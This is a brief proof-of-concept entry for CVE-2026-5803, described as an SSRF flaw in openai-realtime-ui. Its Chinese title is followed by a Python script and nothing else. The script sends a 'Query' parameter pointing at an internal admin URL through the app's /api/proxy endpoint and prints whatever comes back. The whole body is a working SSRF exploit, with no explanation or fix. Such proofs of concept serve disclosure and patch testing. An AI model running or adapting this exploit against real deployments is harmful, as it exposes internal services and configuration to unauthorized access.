CVE-2026-5803 openai-realtime-ui存在SSRF漏洞

import requests # Target URL (example) target_url = "http://localhost:3000/api/proxy" # Malicious internal address to access (e.g., local admin service) # The vulnerability is in the 'Query' argument according to the description payload = { "Query": "http://127.0.0.1:8080/admin/config" } try: print("[*] Sending SSRF payload...") response = requests.get(target_url, params=payload, timeout=5) if response.status_code == 200: print("[+] Request successful! Response content:") print(response.text[:200]) # Print first 200 chars else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")